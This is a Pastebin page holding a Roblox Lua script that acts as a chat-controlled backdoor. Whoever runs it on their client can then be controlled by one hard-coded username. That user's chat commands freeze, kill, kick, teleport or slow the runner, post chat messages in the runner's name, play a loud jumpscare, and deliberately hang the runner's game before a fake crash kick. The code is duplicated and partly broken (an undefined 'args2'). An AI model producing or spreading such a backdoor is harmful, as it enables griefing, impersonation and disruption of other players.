Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local targetUsername = "Litka505"
- -- Function to execute for the target player
- local function executeForTargetPlayer(player)
- print(player.Name .. " is in the game! Executing script...")
- local user = game.Players.LocalPlayer.Character.HumanoidRootPart
- local me = game.Players.Litka505
- me.Chatted:connect(function(cht)
- if cht == ":freeze ." then
- user.Anchored = true
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":unfreeze ." then
- user.Anchored = false
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":bring ." then
- user.CFrame = me.Character.HumanoidRootPart.CFrame
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":kick ." then
- game.Players.LocalPlayer:Kick("You got kicked from this experience.")
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":ban ." then
- game.Players.LocalPlayer:Kick("You are banned!")
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":fling ." then
- user.CFrame = CFrame.new(-64.4950714, 633.052734, 104.106598, -0.921858728, -0.378823459, 0.0816653818, -1.67315939e-10, 0.210735187, 0.977543235, -0.387526065, 0.901156723, -0.1942681)
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":kill ." then
- game.Players.LocalPlayer.Character.Humanoid.Health = 0
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":slow ." then
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 5
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":unslow ." then
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":sit ." then
- game.Players.LocalPlayer.Character.Humanoid.Sit = true
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":unsit ." then
- game.Players.LocalPlayer.Character.Humanoid.Sit = false
- end
- end)
- me.Chatted:connect(function(cht)
- if cht:sub(1, 4) == "!say" then
- local args = cht:sub(6)
- if args ~= "" then
- local tplr = game.Players.LocalPlayer
- if tplr then
- game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(args, "ALL")
- end
- end
- end
- end)
- me.Chatted:connect(function(cht)
- if cht:sub(1, 7) == "!follow" then
- local args = cht:sub(9)
- if args2 ~= "" then
- local taplr = game.Players.LocalPlayer
- if taplr then
- game.Players.LocalPlayer.Character.Humanoid:MoveTo(game.Players[args2].Character.HumanoidRootPart.Position)
- end
- end
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":jumpscare ." then
- local screen = Instance.new("ScreenGui")
- screen.Parent = game.Players.LocalPlayer.PlayerGui
- local image = Instance.new("ImageLabel")
- image.Parent = screen
- image.Image = "http://www.roblox.com/asset/?id=91274624708428"
- image.Size = UDim2.new(1,1,1,1)
- local sound = Instance.new("Sound")
- sound.Parent = game.Workspace
- sound.Name = "jmp"
- sound.SoundId = "rbxassetid://6129291390"
- sound.Volume = 10
- game.Workspace.jmp.Playing = true
- wait(9.8)
- screen:Destroy()
- screen.ResetOnSpawn = false
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":crash ." then
- local RunService = game:GetService("RunService")
- local TARGET_FRAME_RATE = 1
- local frameStart = os.clock()
- RunService.PreSimulation:Connect(function()
- while os.clock() - frameStart < 1 / TARGET_FRAME_RATE do
- -- We do nothing until the target time has elapsed
- end
- -- Mark the start of the next frame right before this one is rendered
- frameStart = os.clock()
- end)
- wait(2)
- game.Players.LocalPlayer:Kick("Roblox Crashed")
- end
- end)
- print(":D")
- game.StarterGui:SetCore("ChatMakeSystemMessage", {
- Text = "Welcome, " .. player.Name .. "! You have special access.";
- Color = Color3.fromRGB(0, 255, 0);
- Font = Enum.Font.SourceSansBold;
- FontSize = Enum.FontSize.Size18;
- })
- end
- -- Function to check for player, and wait if not present
- local function checkPlayer()
- local targetPlayer = game.Players:FindFirstChild(targetUsername)
- if targetPlayer then
- -- If target player is already in the game
- executeForTargetPlayer(targetPlayer)
- else
- print("Waiting for " .. targetUsername .. " to join...")
- -- Set up the listener for when the player joins
- game.Players.PlayerAdded:Connect(function(player)
- if player.Name == targetUsername then
- print(targetUsername .. " has joined. Executing script...")
- executeForTargetPlayer(player)
- end
- end)
- end
- end
- -- Initial check and setup
- checkPlayer()
- local player1 = game.Players.LocalPlayer
- -- Function to execute after respawn
- local function onRespawn()
- print("Player has respawned!")
- local targetUsername = "Litka505"
- -- Function to execute for the target player
- local function executeForTargetPlayer(player)
- print(player.Name .. " is in the game! Executing script...")
- local user = game.Players.LocalPlayer.Character.HumanoidRootPart
- local me = game.Players.Litka505
- me.Chatted:connect(function(cht)
- if cht == ":freeze ." then
- user.Anchored = true
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":unfreeze ." then
- user.Anchored = false
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":bring ." then
- user.CFrame = me.Character.HumanoidRootPart.CFrame
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":kick ." then
- game.Players.LocalPlayer:Kick("You got kicked from this experience.")
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":ban ." then
- game.Players.LocalPlayer:Kick("You are banned!")
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":fling ." then
- user.CFrame = CFrame.new(-64.4950714, 633.052734, 104.106598, -0.921858728, -0.378823459, 0.0816653818, -1.67315939e-10, 0.210735187, 0.977543235, -0.387526065, 0.901156723, -0.1942681)
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":kill ." then
- game.Players.LocalPlayer.Character.Humanoid.Health = 0
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":slow ." then
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 5
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":unslow ." then
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":sit ." then
- game.Players.LocalPlayer.Character.Humanoid.Sit = true
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":unsit ." then
- game.Players.LocalPlayer.Character.Humanoid.Sit = false
- end
- end)
- me.Chatted:connect(function(cht)
- if cht:sub(1, 7) == "!follow" then
- local args = cht:sub(9)
- if args2 ~= "" then
- local taplr = game.Players.LocalPlayer
- if taplr then
- game.Players.LocalPlayer.Character.Humanoid:MoveTo(game.Players[args2].Character.HumanoidRootPart.Position)
- end
- end
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":jumpscare ." then
- local screen = Instance.new("ScreenGui")
- screen.Parent = game.Players.LocalPlayer.PlayerGui
- local image = Instance.new("ImageLabel")
- image.Parent = screen
- image.Image = "http://www.roblox.com/asset/?id=91274624708428"
- image.Size = UDim2.new(1,1,1,1)
- local sound = Instance.new("Sound")
- sound.Parent = game.Workspace
- sound.Name = "jmp"
- sound.SoundId = "rbxassetid://6129291390"
- sound.Volume = 10
- game.Workspace.jmp.Playing = true
- wait(9.8)
- screen:Destroy()
- screen.ResetOnSpawn = false
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":crash ." then
- local RunService = game:GetService("RunService")
- local TARGET_FRAME_RATE = 1
- local frameStart = os.clock()
- RunService.PreSimulation:Connect(function()
- while os.clock() - frameStart < 1 / TARGET_FRAME_RATE do
- -- We do nothing until the target time has elapsed
- end
- -- Mark the start of the next frame right before this one is rendered
- frameStart = os.clock()
- end)
- wait(2)
- game.Players.LocalPlayer:Kick("Roblox Crashed")
- end
- end)
- print(":D")-- Place your code here
- game.StarterGui:SetCore("ChatMakeSystemMessage", {
- Text = "Welcome, " .. player.Name .. "! You have special access.";
- Color = Color3.fromRGB(0, 255, 0);
- Font = Enum.Font.SourceSansBold;
- FontSize = Enum.FontSize.Size18;
- })
- end
- -- Function to check for player, and wait if not present
- local function checkPlayer()
- local targetPlayer = game.Players:FindFirstChild(targetUsername)
- if targetPlayer then
- -- If target player is already in the game
- executeForTargetPlayer(targetPlayer)
- else
- print("Waiting for " .. targetUsername .. " to join...")
- -- Set up the listener for when the player joins
- game.Players.PlayerAdded:Connect(function(player)
- if player.Name == targetUsername then
- print(targetUsername .. " has joined. Executing script...")
- executeForTargetPlayer(player)
- end
- end)
- end
- end
- -- Initial check and setup
- checkPlayer()
- end
- -- Connect to the CharacterAdded event
- player1.CharacterAdded:Connect(onRespawn)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement